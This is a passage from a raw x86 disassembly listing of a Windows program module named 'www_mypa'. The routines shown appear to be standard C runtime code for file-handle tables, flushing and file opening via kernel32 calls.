DS:[EAX+4],BL 00407995 74 09 JE SHORT www_mypa.004079A0 00407997 83C0 08 ADD EAX,8 0040799A 3BC2 CMP EAX,EDX 0040799C ^72 F4 JB SHORT www_mypa.00407992 0040799E EB 11 JMP SHORT www_mypa.004079B1 004079A0 C700 FFFFFFFF MOV DWORD PTR DS:[EAX],-1 004079A6 8B11 MOV EDX,DWORD PTR DS:[ECX] 004079A8 2BC2 SUB EAX,EDX 004079AA C1F8 03 SAR EAX,3 004079AD 03C7 ADD EAX,EDI 004079AF 8BE8 MOV EBP,EAX 004079B1 83FD FF CMP EBP,-1 004079B4 75 6F JNZ SHORT www_mypa.00407A25 004079B6 83C1 04 ADD ECX,4 004079B9 46 INC ESI 004079BA 83C7 20 ADD EDI,20 004079BD 81F9 E01B4100 CMP ECX,www_mypa.00411BE0 004079C3 ^7C BD JL SHORT www_mypa.00407982 004079C5 8BC5 MOV EAX,EBP 004079C7 5F POP EDI 004079C8 5E POP ESI 004079C9 5D POP EBP 004079CA 5B POP EBX 004079CB C3 RETN 004079CC 68 00010000 PUSH 100 004079D1 E8 2AACFFFF CALL www_mypa.00402600 004079D6 83C4 04 ADD ESP,4 004079D9 85C0 TEST EAX,EAX 004079DB 74 48 JE SHORT www_mypa.00407A25 004079DD 8B3D E01B4100 MOV EDI,DWORD PTR DS:[411BE0] 004079E3 8D88 00010000 LEA ECX,DWORD PTR DS:[EAX+100] 004079E9 83C7 20 ADD EDI,20 004079EC 3BC1 CMP EAX,ECX 004079EE 8904B5 E01A4100 MOV DWORD PTR DS:[ESI*4+411AE0],EAX 004079F5 893D E01B4100 MOV DWORD PTR DS:[411BE0],EDI 004079FB 73 23 JNB SHORT www_mypa.00407A20 004079FD B1 0A MOV CL,0A 004079FF C640 04 00 MOV BYTE PTR DS:[EAX+4],0 00407A03 C700 FFFFFFFF MOV DWORD PTR DS:[EAX],-1 00407A09 8848 05 MOV BYTE PTR DS:[EAX+5],CL 00407A0C 8B14B5 E01A4100 MOV EDX,DWORD PTR DS:[ESI*4+411AE0] 00407A13 83C0 08 ADD EAX,8 00407A16 81C2 00010000 ADD EDX,100 00407A1C 3BC2 CMP EAX,EDX 00407A1E ^72 DF JB SHORT www_mypa.004079FF 00407A20 C1E6 05 SHL ESI,5 00407A23 8BEE MOV EBP,ESI 00407A25 5F POP EDI 00407A26 8BC5 MOV EAX,EBP 00407A28 5E POP ESI 00407A29 5D POP EBP 00407A2A 5B POP EBX 00407A2B C3 RETN 00407A2C 90 NOP 00407A2D 90 NOP 00407A2E 90 NOP 00407A2F 90 NOP 00407A30 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] 00407A34 8B0D E01B4100 MOV ECX,DWORD PTR DS:[411BE0] 00407A3A 53 PUSH EBX 00407A3B 56 PUSH ESI 00407A3C 3BC1 CMP EAX,ECX 00407A3E 57 PUSH EDI 00407A3F 73 77 JNB SHORT www_mypa.00407AB8 00407A41 8BC8 MOV ECX,EAX 00407A43 8BF0 MOV ESI,EAX 00407A45 C1F9 05 SAR ECX,5 00407A48 83E6 1F AND ESI,1F 00407A4B 8B148D E01A4100 MOV EDX,DWORD PTR DS:[ECX*4+411AE0] 00407A52 8D3C8D E01A4100 LEA EDI,DWORD PTR DS:[ECX*4+411AE0] 00407A59 C1E6 03 SHL ESI,3 00407A5C 833C32 FF CMP DWORD PTR DS:[EDX+ESI],-1 00407A60 75 56 JNZ SHORT www_mypa.00407AB8 00407A62 8B0D C4CB4000 MOV ECX,DWORD PTR DS:[40CBC4] 00407A68 8B5C24 14 MOV EBX,DWORD PTR SS:[ESP+14] 00407A6C 83F9 01 CMP ECX,1 00407A6F 75 3C JNZ SHORT www_mypa.00407AAD 00407A71 83E8 00 SUB EAX,0 00407A74 74 2E JE SHORT www_mypa.00407AA4 00407A76 48 DEC EAX 00407A77 74 17 JE SHORT www_mypa.00407A90 00407A79 48 DEC EAX 00407A7A 75 31 JNZ SHORT www_mypa.00407AAD 00407A7C 53 PUSH EBX 00407A7D 6A F4 PUSH -0C 00407A7F FF15 E0214100 CALL DWORD PTR DS:[4121E0] ; kernel32.SetStdHandle 00407A85 8B07 MOV EAX,DWORD PTR DS:[EDI] 00407A87 891C30 MOV DWORD PTR DS:[EAX+ESI],EBX 00407A8A 33C0 XOR EAX,EAX 00407A8C 5F POP EDI 00407A8D 5E POP ESI 00407A8E 5B POP EBX 00407A8F C3 RETN 00407A90 53 PUSH EBX 00407A91 6A F5 PUSH -0B 00407A93 FF15 E0214100 CALL DWORD PTR DS:[4121E0] ; kernel32.SetStdHandle 00407A99 8B07 MOV EAX,DWORD PTR DS:[EDI] 00407A9B 891C30 MOV DWORD PTR DS:[EAX+ESI],EBX 00407A9E 33C0 XOR EAX,EAX 00407AA0 5F POP EDI 00407AA1 5E POP ESI 00407AA2 5B POP EBX 00407AA3 C3 RETN 00407AA4 53 PUSH EBX 00407AA5 6A F6 PUSH -0A 00407AA7 FF15 E0214100 CALL DWORD PTR DS:[4121E0] ; kernel32.SetStdHandle 00407AAD 8B07 MOV EAX,DWORD PTR DS:[EDI] 00407AAF 891C30 MOV DWORD PTR DS:[EAX+ESI],EBX 00407AB2 33C0 XOR EAX,EAX 00407AB4 5F POP EDI 00407AB5 5E POP ESI 00407AB6 5B POP EBX 00407AB7 C3 RETN 00407AB8 5F POP EDI 00407AB9 5E POP ESI 00407ABA C705 E8064100 09>MOV DWORD PTR DS:[4106E8],9 00407AC4 C705 EC064100 00>MOV DWORD PTR DS:[4106EC],0 00407ACE 83C8 FF OR EAX,FFFFFFFF 00407AD1 5B POP EBX 00407AD2 C3 RETN 00407AD3 90 NOP 00407AD4 90 NOP 00407AD5 90 NOP 00407AD6 90 NOP 00407AD7 90 NOP 00407AD8 90 NOP 00407AD9 90 NOP 00407ADA 90 NOP 00407ADB 90 NOP 00407ADC 90 NOP 00407ADD 90 NOP 00407ADE 90 NOP 00407ADF 90 NOP 00407AE0 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] 00407AE4 8B0D E01B4100 MOV ECX,DWORD PTR DS:[411BE0] 00407AEA 53 PUSH EBX 00407AEB 56 PUSH ESI 00407AEC 3BC1 CMP EAX,ECX 00407AEE 57 PUSH EDI 00407AEF 73 68 JNB SHORT www_mypa.00407B59 00407AF1 8BC8 MOV ECX,EAX 00407AF3 8BF0 MOV ESI,EAX 00407AF5 C1F9 05 SAR ECX,5 00407AF8 83E6 1F AND ESI,1F 00407AFB 8B148D E01A4100 MOV EDX,DWORD PTR DS:[ECX*4+411AE0] 00407B02 8D3C8D E01A4100 LEA EDI,DWORD PTR DS:[ECX*4+411AE0] 00407B09 C1E6 03 SHL ESI,3 00407B0C 8A5C32 04 MOV BL,BYTE PTR DS:[EDX+ESI+4] 00407B10 8D0C32 LEA ECX,DWORD PTR DS:[EDX+ESI] 00407B13 BA 01000000 MOV EDX,1 00407B18 84DA TEST DL,BL 00407B1A 74 3D JE SHORT www_mypa.00407B59 00407B1C 8339 FF CMP DWORD PTR DS:[ECX],-1 00407B1F 74 38 JE SHORT www_mypa.00407B59 00407B21 3915 C4CB4000 CMP DWORD PTR DS:[40CBC4],EDX 00407B27 75 21 JNZ SHORT www_mypa.00407B4A 00407B29 83E8 00 SUB EAX,0 00407B2C 74 12 JE SHORT www_mypa.00407B40 00407B2E 48 DEC EAX 00407B2F 74 09 JE SHORT www_mypa.00407B3A 00407B31 48 DEC EAX 00407B32 75 16 JNZ SHORT www_mypa.00407B4A 00407B34 6A 00 PUSH 0 00407B36 6A F4 PUSH -0C 00407B38 EB 0A JMP SHORT www_mypa.00407B44 00407B3A 6A 00 PUSH 0 00407B3C 6A F5 PUSH -0B 00407B3E EB 04 JMP SHORT www_mypa.00407B44 00407B40 6A 00 PUSH 0 00407B42 6A F6 PUSH -0A 00407B44 FF15 E0214100 CALL DWORD PTR DS:[4121E0] ; kernel32.SetStdHandle 00407B4A 8B07 MOV EAX,DWORD PTR DS:[EDI] 00407B4C C70430 FFFFFFFF MOV DWORD PTR DS:[EAX+ESI],-1 00407B53 33C0 XOR EAX,EAX 00407B55 5F POP EDI 00407B56 5E POP ESI 00407B57 5B POP EBX 00407B58 C3 RETN 00407B59 5F POP EDI 00407B5A 5E POP ESI 00407B5B C705 E8064100 09>MOV DWORD PTR DS:[4106E8],9 00407B65 C705 EC064100 00>MOV DWORD PTR DS:[4106EC],0 00407B6F 83C8 FF OR EAX,FFFFFFFF 00407B72 5B POP EBX 00407B73 C3 RETN 00407B74 90 NOP 00407B75 90 NOP 00407B76 90 NOP 00407B77 90 NOP 00407B78 90 NOP 00407B79 90 NOP 00407B7A 90 NOP 00407B7B 90 NOP 00407B7C 90 NOP 00407B7D 90 NOP 00407B7E 90 NOP 00407B7F 90 NOP 00407B80 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] 00407B84 8B0D E01B4100 MOV ECX,DWORD PTR DS:[411BE0] 00407B8A 3BC1 CMP EAX,ECX 00407B8C 73 1E JNB SHORT www_mypa.00407BAC 00407B8E 8BC8 MOV ECX,EAX 00407B90 83E0 1F AND EAX,1F 00407B93 C1F9 05 SAR ECX,5 00407B96 8B148D E01A4100 MOV EDX,DWORD PTR DS:[ECX*4+411AE0] 00407B9D 8A4CC2 04 MOV CL,BYTE PTR DS:[EDX+EAX*8+4] 00407BA1 F6C1 01 TEST CL,1 00407BA4 8D04C2 LEA EAX,DWORD PTR DS:[EDX+EAX*8] 00407BA7 74 03 JE SHORT www_mypa.00407BAC 00407BA9 8B00 MOV EAX,DWORD PTR DS:[EAX] 00407BAB C3 RETN 00407BAC C705 E8064100 09>MOV DWORD PTR DS:[4106E8],9 00407BB6 C705 EC064100 00>MOV DWORD PTR DS:[4106EC],0 00407BC0 83C8 FF OR EAX,FFFFFFFF 00407BC3 C3 RETN 00407BC4 90 NOP 00407BC5 90 NOP 00407BC6 90 NOP 00407BC7 90 NOP 00407BC8 90 NOP 00407BC9 90 NOP 00407BCA 90 NOP 00407BCB 90 NOP 00407BCC 90 NOP 00407BCD 90 NOP 00407BCE 90 NOP 00407BCF 90 NOP 00407BD0 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] 00407BD4 8B0D E01B4100 MOV ECX,DWORD PTR DS:[411BE0] 00407BDA 3BC1 CMP EAX,ECX 00407BDC 73 3F JNB SHORT www_mypa.00407C1D 00407BDE 8BC8 MOV ECX,EAX 00407BE0 8BD0 MOV EDX,EAX 00407BE2 C1F9 05 SAR ECX,5 00407BE5 83E2 1F AND EDX,1F 00407BE8 8B0C8D E01A4100 MOV ECX,DWORD PTR DS:[ECX*4+411AE0] 00407BEF F644D1 04 01 TEST BYTE PTR DS:[ECX+EDX*8+4],1 00407BF4 74 27 JE SHORT www_mypa.00407C1D 00407BF6 50 PUSH EAX 00407BF7 E8 84FFFFFF CALL www_mypa.00407B80 00407BFC 83C4 04 ADD ESP,4 00407BFF 50 PUSH EAX 00407C00 FF15 28224100 CALL DWORD PTR DS:[412228] ; kernel32.FlushFileBuffers 00407C06 85C0 TEST EAX,EAX 00407C08 75 08 JNZ SHORT www_mypa.00407C12 00407C0A FF15 00224100 CALL DWORD PTR DS:[412200] ; ntdll.RtlGetLastWin32Error 00407C10 EB 02 JMP SHORT www_mypa.00407C14 00407C12 33C0 XOR EAX,EAX 00407C14 85C0 TEST EAX,EAX 00407C16 74 12 JE SHORT www_mypa.00407C2A 00407C18 A3 EC064100 MOV DWORD PTR DS:[4106EC],EAX 00407C1D C705 E8064100 09>MOV DWORD PTR DS:[4106E8],9 00407C27 83C8 FF OR EAX,FFFFFFFF 00407C2A C3 RETN 00407C2B 90 NOP 00407C2C 90 NOP 00407C2D 90 NOP 00407C2E 90 NOP 00407C2F 90 NOP 00407C30 A1 C01A4100 MOV EAX,DWORD PTR DS:[411AC0] 00407C35 56 PUSH ESI 00407C36 85C0 TEST EAX,EAX 00407C38 75 07 JNZ SHORT www_mypa.00407C41 00407C3A B8 00020000 MOV EAX,200 00407C3F EB 0A JMP SHORT www_mypa.00407C4B 00407C41 83F8 14 CMP EAX,14 00407C44 7D 0A JGE SHORT www_mypa.00407C50 00407C46 B8 14000000 MOV EAX,14 00407C4B A3 C01A4100 MOV DWORD PTR DS:[411AC0],EAX 00407C50 6A 04 PUSH 4 00407C52 50 PUSH EAX 00407C53 E8 880E0000 CALL www_mypa.00408AE0 00407C58 83C4 08 ADD ESP,8 00407C5B A3 BC0A4100 MOV DWORD PTR DS:[410ABC],EAX 00407C60 85C0 TEST EAX,EAX 00407C62 75 2E JNZ SHORT www_mypa.00407C92 00407C64 6A 04 PUSH 4 00407C66 6A 14 PUSH 14 00407C68 C705 C01A4100 14>MOV DWORD PTR DS:[411AC0],14 00407C72 E8 690E0000 CALL www_mypa.00408AE0 00407C77 83C4 08 ADD ESP,8 00407C7A A3 BC0A4100 MOV DWORD PTR DS:[410ABC],EAX 00407C7F 85C0 TEST EAX,EAX 00407C81 75 0F JNZ SHORT www_mypa.00407C92 00407C83 6A 1A PUSH 1A 00407C85 E8 F6B9FFFF CALL www_mypa.00403680 00407C8A A1 BC0A4100 MOV EAX,DWORD PTR DS:[410ABC] 00407C8F 83C4 04 ADD ESP,4 00407C92 33D2 XOR EDX,EDX 00407C94 B9 48F04000 MOV ECX,www_mypa.0040F048 00407C99 EB 05 JMP SHORT www_mypa.00407CA0 00407C9B A1 BC0A4100 MOV EAX,DWORD PTR DS:[410ABC] 00407CA0 890C10 MOV DWORD PTR DS:[EAX+EDX],ECX 00407CA3 83C1 20 ADD ECX,20 00407CA6 83C2 04 ADD EDX,4 00407CA9 81F9 C8F24000 CMP ECX,www_mypa.0040F2C8 00407CAF ^7C EA JL SHORT www_mypa.00407C9B 00407CB1 33C0 XOR EAX,EAX 00407CB3 BA 58F04000 MOV EDX,www_mypa.0040F058 00407CB8 8BC8 MOV ECX,EAX 00407CBA 8BF0 MOV ESI,EAX 00407CBC C1F9 05 SAR ECX,5 00407CBF 83E6 1F AND ESI,1F 00407CC2 8B0C8D E01A4100 MOV ECX,DWORD PTR DS:[ECX*4+411AE0] 00407CC9 8B0CF1 MOV ECX,DWORD PTR DS:[ECX+ESI*8] 00407CCC 83F9 FF CMP ECX,-1 00407CCF 74 04 JE SHORT www_mypa.00407CD5 00407CD1 85C9 TEST ECX,ECX 00407CD3 75 06 JNZ SHORT www_mypa.00407CDB 00407CD5 C702 FFFFFFFF MOV DWORD PTR DS:[EDX],-1 00407CDB 83C2 20 ADD EDX,20 00407CDE 40 INC EAX 00407CDF 81FA B8F04000 CMP EDX,www_mypa.0040F0B8 00407CE5 ^7C D1 JL SHORT www_mypa.00407CB8 00407CE7 5E POP ESI 00407CE8 C3 RETN 00407CE9 90 NOP 00407CEA 90 NOP 00407CEB 90 NOP 00407CEC 90 NOP 00407CED 90 NOP 00407CEE 90 NOP 00407CEF 90 NOP 00407CF0 E8 ABBCFFFF CALL www_mypa.004039A0 00407CF5 A0 28074100 MOV AL,BYTE PTR DS:[410728] 00407CFA 84C0 TEST AL,AL 00407CFC 74 05 JE SHORT www_mypa.00407D03 00407CFE E9 7D0E0000 JMP www_mypa.00408B80 00407D03 C3 RETN 00407D04 90 NOP 00407D05 90 NOP 00407D06 90 NOP 00407D07 90 NOP 00407D08 90 NOP 00407D09 90 NOP 00407D0A 90 NOP 00407D0B 90 NOP 00407D0C 90 NOP 00407D0D 90 NOP 00407D0E 90 NOP 00407D0F 90 NOP 00407D10 A1 740A4100 MOV EAX,DWORD PTR DS:[410A74] 00407D15 68 00100000 PUSH 1000 00407D1A 40 INC EAX 00407D1B A3 740A4100 MOV DWORD PTR DS:[410A74],EAX 00407D20 E8 DBA8FFFF CALL www_mypa.00402600 00407D25 8B4C24 08 MOV ECX,DWORD PTR SS:[ESP+8] 00407D29 83C4 04 ADD ESP,4 00407D2C 85C0 TEST EAX,EAX 00407D2E 8941 08 MOV DWORD PTR DS:[ECX+8],EAX 00407D31 8B41 0C MOV EAX,DWORD PTR DS:[ECX+C] 00407D34 74 19 JE SHORT www_mypa.00407D4F 00407D36 8B51 08 MOV EDX,DWORD PTR DS:[ECX+8] 00407D39 0C 08 OR AL,8 00407D3B 8941 0C MOV DWORD PTR DS:[ECX+C],EAX 00407D3E C741 18 00100000 MOV DWORD PTR DS:[ECX+18],1000 00407D45 8911 MOV DWORD PTR DS:[ECX],EDX 00407D47 C741 04 00000000 MOV DWORD PTR DS:[ECX+4],0 00407D4E C3 RETN 00407D4F 0C 04 OR AL,4 00407D51 C741 18 02000000 MOV DWORD PTR DS:[ECX+18],2 00407D58 8941 0C MOV DWORD PTR DS:[ECX+C],EAX 00407D5B 8D41 14 LEA EAX,DWORD PTR DS:[ECX+14] 00407D5E 8BD0 MOV EDX,EAX 00407D60 8941 08 MOV DWORD PTR DS:[ECX+8],EAX 00407D63 8911 MOV DWORD PTR DS:[ECX],EDX 00407D65 C741 04 00000000 MOV DWORD PTR DS:[ECX+4],0 00407D6C C3 RETN 00407D6D 90 NOP 00407D6E 90 NOP 00407D6F 90 NOP 00407D70 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] 00407D74 8B0D E01B4100 MOV ECX,DWORD PTR DS:[411BE0] 00407D7A 3BC1 CMP EAX,ECX 00407D7C 72 03 JB SHORT www_mypa.00407D81 00407D7E 33C0 XOR EAX,EAX 00407D80 C3 RETN 00407D81 8BC8 MOV ECX,EAX 00407D83 83E0 1F AND EAX,1F 00407D86 C1F9 05 SAR ECX,5 00407D89 8B148D E01A4100 MOV EDX,DWORD PTR DS:[ECX*4+411AE0] 00407D90 8A44C2 04 MOV AL,BYTE PTR DS:[EDX+EAX*8+4] 00407D94 83E0 40 AND EAX,40 00407D97 C3 RETN 00407D98 90 NOP 00407D99 90 NOP 00407D9A 90 NOP 00407D9B 90 NOP 00407D9C 90 NOP 00407D9D 90 NOP 00407D9E 90 NOP 00407D9F 90 NOP 00407DA0 83EC 14 SUB ESP,14 00407DA3 8B4C24 1C MOV ECX,DWORD PTR SS:[ESP+1C] 00407DA7 53 PUSH EBX 00407DA8 55 PUSH EBP 00407DA9 56 PUSH ESI 00407DAA B2 80 MOV DL,80 00407DAC 33F6 XOR ESI,ESI 00407DAE 84CA TEST DL,CL 00407DB0 57 PUSH EDI 00407DB1 C74424 18 0C0000>MOV DWORD PTR SS:[ESP+18],0C 00407DB9 897424 1C MOV DWORD PTR SS:[ESP+1C],ESI 00407DBD 74 0B JE SHORT www_mypa.00407DCA 00407DBF 897424 20 MOV DWORD PTR SS:[ESP+20],ESI 00407DC3 C64424 13 10 MOV BYTE PTR SS:[ESP+13],10 00407DC8 EB 0D JMP SHORT www_mypa.00407DD7 00407DCA C74424 20 010000>MOV DWORD PTR SS:[ESP+20],1 00407DD2 C64424 13 00 MOV BYTE PTR SS:[ESP+13],0 00407DD7 F6C5 80 TEST CH,80 00407DDA 75 15 JNZ SHORT www_mypa.00407DF1 00407DDC F6C5 40 TEST CH,40 00407DDF 75 0C JNZ SHORT www_mypa.00407DED 00407DE1 813D A80A4100 00>CMP DWORD PTR DS:[410AA8],8000 00407DEB 74 04 JE SHORT www_mypa.00407DF1 00407DED 085424 13 OR BYTE PTR SS:[ESP+13],DL 00407DF1 8BC1 MOV EAX,ECX 00407DF3 83E0 03 AND EAX,3 00407DF6 2BC6 SUB EAX,ESI 00407DF8 74 1E JE SHORT www_mypa.00407E18 00407DFA 48 DEC EAX 00407DFB 74 11 JE SHORT www_mypa.00407E0E 00407DFD 48 DEC EAX 00407DFE 0F85 ED020000 JNZ www_mypa.004080F1 00407E04 C74424 14 000000>MOV DWORD PTR SS:[ESP+14],C0000000 00407E0C EB 12 JMP SHORT www_mypa.00407E20 00407E0E C74424 14 000000>MOV DWORD PTR SS:[ESP+14],40000000 00407E16 EB 08 JMP SHORT www_mypa.00407E20 00407E18 C74424 14 000000>MOV DWORD PTR SS:[ESP+14],80000000 00407E20 8B4424 30 MOV EAX,DWORD PTR SS:[ESP+30] 00407E24 83C0 F0 ADD EAX,-10 00407E27 83F8 30 CMP EAX,30 00407E2A 0F87 C1020000 JA www_mypa.004080F1 00407E30 33DB XOR EBX,EBX 00407E32 8A98 20814000 MOV BL,BYTE PTR DS:[EAX+408120] 00407E38 FF249D 0C814000 JMP DWORD PTR DS:[EBX*4+40810C] 00407E3F 33DB XOR EBX,EBX 00407E41 EB 13 JMP SHORT www_mypa.00407E56 00407E43 BB 01000000 MOV EBX,1 00407E48 EB 0C JMP SHORT www_mypa.00407E56 00407E4A BB 02000000 MOV EBX,2 00407E4F EB 05 JMP SHORT www_mypa.00407E56 00407E51 BB 03000000 MOV EBX,3 00407E56 8BC1 MOV EAX,ECX 00407E58 25 00070000 AND EAX,700 00407E5D 3D 00010000 CMP EAX,100 00407E62 7F 12 JG SHORT www_mypa.00407E76 00407E64 74 09 JE SHORT www_mypa.00407E6F 00407E66 3BC6 CMP EAX,ESI 00407E68 74 3C JE SHORT www_mypa.00407EA6 00407E6A E9 82020000 JMP www_mypa.004080F1 00407E6F BD 04000000 MOV EBP,4 00407E74 EB 55 JMP SHORT www_mypa.00407ECB 00407E76 3D 00030000 CMP EAX,300 00407E7B 7F 15 JG SHORT www_mypa.00407E92 00407E7D 74 0C JE SHORT www_mypa.00407E8B 00407E7F 3D 00020000 CMP EAX,200 00407E84 74 40 JE SHORT www_mypa.00407EC6 00407E86 E9 66020000 JMP www_mypa.004080F1 00407E8B BD 02000000 MOV EBP,2 00407E90 EB 39 JMP SHORT www_mypa.00407ECB 00407E92 3D 00050000 CMP EAX,500 00407E97 7F 14 JG SHORT www_mypa.00407EAD 00407E99 74 24 JE SHORT www_mypa.00407EBF 00407E9B 3D 00040000 CMP EAX,400 00407EA0 0F85 4B020000 JNZ www_mypa.004080F1 00407EA6 BD 03000000 MOV EBP,3 00407EAB EB 1E JMP SHORT www_mypa.00407ECB 00407EAD 3D 00060000 CMP EAX,600 00407EB2 74 12 JE SHORT www_mypa.00407EC6 00407EB4 3D 00070000 CMP EAX,700 00407EB9 0F85 32020000 JNZ www_mypa.004080F1 00407EBF BD 01000000 MOV EBP,1 00407EC4 EB 05 JMP SHORT www_mypa.00407ECB 00407EC6 BD 05000000 MOV EBP,5 00407ECB F6C5 01 TEST CH,1 00407ECE BF 80000000 MOV EDI,80 00407ED3 74 17 JE SHORT www_mypa.00407EEC 00407ED5 8B35 F0064100 MOV ESI,DWORD PTR DS:[4106F0] 00407EDB 8B4424 34 MOV EAX,DWORD PTR SS:[ESP+34] 00407EDF F7D6 NOT ESI 00407EE1 23C6 AND EAX,ESI 00407EE3 84C2 TEST DL,AL 00407EE5 75 05 JNZ SHORT www_mypa.00407EEC 00407EE7 BF 01000000 MOV EDI,1 00407EEC F6C1 40 TEST CL,40 00407EEF 74 13 JE SHORT www_mypa.00407F04 00407EF1 8B4424 14 MOV EAX,DWORD PTR SS:[ESP+14] 00407EF5 81CF 00000004 OR EDI,4000000 00407EFB 0D 00000100 OR EAX,10000 00407F00 894424 14 MOV DWORD PTR SS:[ESP+14],EAX 00407F04 F6C5 10 TEST CH,10 00407F07 74 06 JE SHORT www_mypa.00407F0F 00407F09 81CF 00010000 OR EDI,100 00407F0F F6C1 20 TEST CL,20 00407F12 74 08 JE SHORT www_mypa.00407F1C 00407F14 81CF 00000008 OR EDI,8000000 00407F1A EB 0B JMP SHORT www_mypa.00407F27 00407F1C F6C1 10 TEST CL,10 00407F1F 74 06 JE SHORT www_mypa.00407F27 00407F21 81CF 00000010 OR EDI,10000000 00407F27 E8 44FAFFFF CALL www_mypa.00407970 00407F2C 8BF0 MOV ESI,EAX 00407F2E 83FE FF CMP ESI,-1 00407F31 75 1E JNZ SHORT www_mypa.00407F51 00407F33 C705 E8064100 18>MOV DWORD PTR DS:[4106E8],18 00407F3D C705 EC064100 00>MOV DWORD PTR DS:[4106EC],0 00407F47 0BC0 OR EAX,EAX 00407F49 5F POP EDI 00407F4A 5E POP ESI 00407F4B 5D POP EBP 00407F4C 5B POP EBX 00407F4D 83C4 14 ADD ESP,14 00407F50 C3 RETN 00407F51 8B5424 14 MOV EDX,DWORD PTR SS:[ESP+14] 00407F55 8B4424 28 MOV EAX,DWORD PTR SS:[ESP+28] 00407F59 6A 00 PUSH 0 00407F5B 57 PUSH EDI 00407F5C 8D4C24 20 LEA ECX,DWORD PTR SS:[ESP+20] 00407F60 55 PUSH EBP 00407F61 51 PUSH ECX 00407F62 53 PUSH EBX 00407F63 52 PUSH EDX 00407F64 50 PUSH EAX 00407F65 FF15 D8214100 CALL DWORD PTR DS:[4121D8] ; kernel32.CreateFileA 00407F6B 8BF8 MOV EDI,EAX 00407F6D 83FF FF CMP EDI,-1 00407F70 75 19 JNZ SHORT www_mypa.00407F8B 00407F72 FF15 00224100 CALL DWORD PTR DS:[412200] ; ntdll.RtlGetLastWin32Error 00407F78 50 PUSH EAX 00407F79 E8 52E4FFFF CALL www_mypa.004063D0 00407F7E 83C4 04 ADD ESP,4 00407F81 0BC7 OR EAX,EDI 00407F83 5F POP EDI 00407F84 5E POP ESI 00407F85 5D POP EBP 00407F86 5B POP EBX 00407F87 83C4 14 ADD ESP,14 00407F8A C3 RETN 00407F8B 57 PUSH EDI 00407F8C FF15 78224100 CALL DWORD PTR DS:[412278] ; kernel32.GetFileType 00407F92 85C0 TEST EAX,EAX 00407F94 75 21 JNZ SHORT www_mypa.00407FB7 00407F96 57 PUSH EDI 00407F97 FF15 2C224100 CALL DWORD PTR DS:[41222C] ; kernel32.CloseHandle 00407F9D FF15 00224100 CALL DWORD PTR DS:[412200] ; ntdll.RtlGetLastWin32Error 00407FA3 50 PUSH EAX 00407FA4 E8 27E4FFFF CALL www_mypa.004063D0 00407FA9 83C4 04 ADD ESP,4 00407FAC 83C8 FF OR EAX,FFFFFFFF 00407FAF 5F POP EDI 00407FB0 5E POP ESI 00407FB1 5D POP EBP 00407FB2 5B POP EBX 00407FB3 83C4 14 ADD ESP,14 00407FB6 C3 RETN 00407FB7 83F8 02 CMP EAX,2 00407FBA 75 08 JNZ SHORT www_mypa.00407FC4 00407FBC 8A4424 13 MOV AL,BYTE PTR SS:[ESP+13] 00407FC0 0C 40 OR AL,40 00407FC2 EB 0B JMP SHORT www_mypa.00407FCF 00407FC4 83F8 03 CMP EAX,3 00407FC7 75 0A JNZ SHORT www_mypa.00407FD3 00407FC9 8A4424 13 MOV AL,BYTE PTR SS:[ESP+13] 00407FCD 0C 08 OR AL,8 00407FCF 884424 13 MOV BYTE PTR SS:[ESP+13],AL 00407FD3 57 PUSH EDI 00407FD4 56 PUSH ESI 00407FD5 E8 56FAFFFF CALL www_mypa.00407A30 00407FDA 8A5C24 1B MOV BL,BYTE PTR SS:[ESP+1B] 00407FDE 8BCE MOV ECX,ESI 00407FE0 80CB 01 OR BL,1 00407FE3 8BFE MOV EDI,ESI 00407FE5 C1F9 05 SAR ECX,5 00407FE8 885C24 1B MOV BYTE PTR SS:[ESP+1B],BL 00407FEC 83E7 1F AND EDI,1F 00407FEF 8A4424 1B MOV AL,BYTE PTR SS:[ESP+1B] 00407FF3 8B148D E01A4100 MOV EDX,DWORD PTR DS:[ECX*4+411AE0] 00407FFA 8D1C8D E01A4100 LEA EBX,DWORD PTR DS:[ECX*4+411AE0] 00408001 8AC8 MOV CL,AL 00408003 83C4 08 ADD ESP,8 00408006 C1E7 03 SHL EDI,3 00408009 80E1 48 AND CL,48 0040800C 884417 04 MOV BYTE PTR DS:[EDI+EDX+4],AL 00408010 884C24 28 MOV BYTE PTR SS:[ESP+28],CL 00408014 0F85 AF000000 JNZ www_mypa.004080C9 0040801A A8 80 TEST AL,80 0040801C 0F84 A7000000 JE www_mypa.004080C9 00408022 F64424 2C 02 TEST BYTE PTR SS:[ESP+2C],2 00408027 0F84 9C000000 JE www_mypa.004080C9 0040802D 6A 02 PUSH 2 0040802F 6A FF PUSH -1 00408031 56 PUSH ESI 00408032 E8 39CDFFFF CALL www_mypa.00404D70 00408037 8BE8 MOV EBP,EAX 00408039 83C4 0C ADD ESP,0C 0040803C 83FD FF CMP EBP,-1 0040803F 75 1F JNZ SHORT www_mypa.00408060 00408041 813D EC064100 83>CMP DWORD PTR DS:[4106EC],83 0040804B 74 7C JE SHORT www_mypa.004080C9 0040804D 56 PUSH ESI 0040804E E8 6DB7FFFF CALL www_mypa.004037C0 00408053 83C4 04 ADD ESP,4 00408056 0BC5 OR EAX,EBP 00408058 5F POP EDI 00408059 5E POP ESI 0040805A 5D POP EBP 0040805B 5B POP EBX 0040805C 83C4 14 ADD ESP,14 0040805F C3 RETN 00408060 8D4424 30 LEA EAX,DWORD PTR SS:[ESP+30] 00408064 6A 01 PUSH 1 00408066 50 PUSH EAX 00408067 56 PUSH ESI 00408068 C64424 3C 00 MOV BYTE PTR SS:[ESP+3C],0 0040806D E8 5EC0FFFF CALL www_mypa.004040D0 00408072 83C4 0C ADD ESP,0C 00408075 85C0 TEST EAX,EAX 00408077 75 2A JNZ SHORT www_mypa.004080A3 00408079 807C24 30 1A CMP BYTE PTR SS:[ESP+30],1A 0040807E 75 23 JNZ SHORT www_mypa.004080A3 00408080 55 PUSH EBP 00408081 56 PUSH ESI 00408082 E8 690B0000 CALL www_mypa.00408BF0 00408087 83C4 08 ADD ESP,8 0040808A 83F8 FF CMP EAX,-1 0040808D 75 14 JNZ SHORT www_mypa.004080A3 0040808F 56 PUSH ESI 00408090 E8 2BB7FFFF CALL www_mypa.004037C0 00408095 83C4 04 ADD ESP,4 00408098 83C8 FF OR EAX,FFFFFFFF 0040809B 5F POP EDI 0040809C 5E POP ESI 0040809D 5D POP EBP 0040809E 5B POP EBX 0040809F 83C4 14 ADD ESP,14 004080A2 C3 RETN 004080A3 6A 00 PUSH 0 004080A5 